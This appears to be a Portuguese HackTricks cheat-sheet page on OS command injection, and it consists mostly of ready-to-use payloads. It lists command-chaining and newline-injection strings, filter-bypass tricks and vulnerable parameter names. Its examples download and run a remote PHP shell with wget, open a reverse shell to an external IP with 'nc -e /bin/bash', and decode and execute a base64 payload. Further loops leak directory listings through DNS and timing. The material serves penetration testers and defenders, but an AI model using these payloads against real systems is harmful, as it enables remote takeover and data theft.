Command Injection

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

O que é injeção de comando?

Uma injeção de comando permite a execução de comandos arbitrårios do sistema operacional por um atacante no servidor que hospeda uma aplicação. Como resultado, a aplicação e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos geralmente permite que o atacante obtenha acesso não autorizado ou controle sobre o ambiente da aplicação e o sistema subjacente.

Contexto

Dependendo de onde sua entrada estĂĄ sendo injetada, vocĂȘ pode precisar encerrar o contexto entre aspas (usando " ou ') antes dos comandos.

Injeção/Execução de Comando

bash
#Both Unix and Windows supported ls||id; ls ||id; ls|| id; ls || id # Execute both ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe) ls&&id; ls &&id; ls&& id; ls && id # Execute 2Âș if 1Âș finish ok ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2Âș ls %0A id # %0A Execute both (RECOMMENDED) #Only unix supported `ls` # `` $(ls) # $() ls; id # ; Chain commands ls${LS_COLORS:10:1}${IFS}id # Might be useful #Not executed but may be interesting > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command

LimitaçÔes Bypasses

Se vocĂȘ estĂĄ tentando executar comandos arbitrĂĄrios dentro de uma mĂĄquina linux, vocĂȘ vai se interessar em ler sobre esses Bypasses:

Bypass Linux Restrictions

Exemplos

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

ParĂąmetros

Aqui estão os 25 principais parùmetros que podem ser vulneråveis a injeção de código e vulnerabilidades RCE semelhantes (de link):

?cmd={payload} ?exec={payload} ?command={payload} ?execute{payload} ?ping={payload} ?query={payload} ?jump={payload} ?code={payload} ?reg={payload} ?do={payload} ?func={payload} ?arg={payload} ?option={payload} ?load={payload} ?process={payload} ?step={payload} ?read={payload} ?function={payload} ?req={payload} ?feature={payload} ?exe={payload} ?module={payload} ?payload={payload} ?run={payload} ?print={payload}

Exfiltração de dados baseada em tempo

Extraindo dados: caractere por caractere

swissky@crashlab▾ ~ ▾ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s user 0m0.000s sys 0m0.000s swissky@crashlab▾ ~ ▾ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi real 0m0.002s user 0m0.000s sys 0m0.000s

Exfiltração de dados baseada em DNS

Baseado na ferramenta de https://github.com/HoLyVieR/dnsbin também hospedada em dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Ferramentas online para verificar a exfiltração de dados baseada em DNS:

  • dnsbin.zhack.ca
  • pingb.in

Bypass de filtragem

Windows

powershell C:**2\n??e*d.*? # notepad @^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Lista de Detecção de Força Bruta

Auto_Wordlists/wordlists/command_injection.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

ReferĂȘncias

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks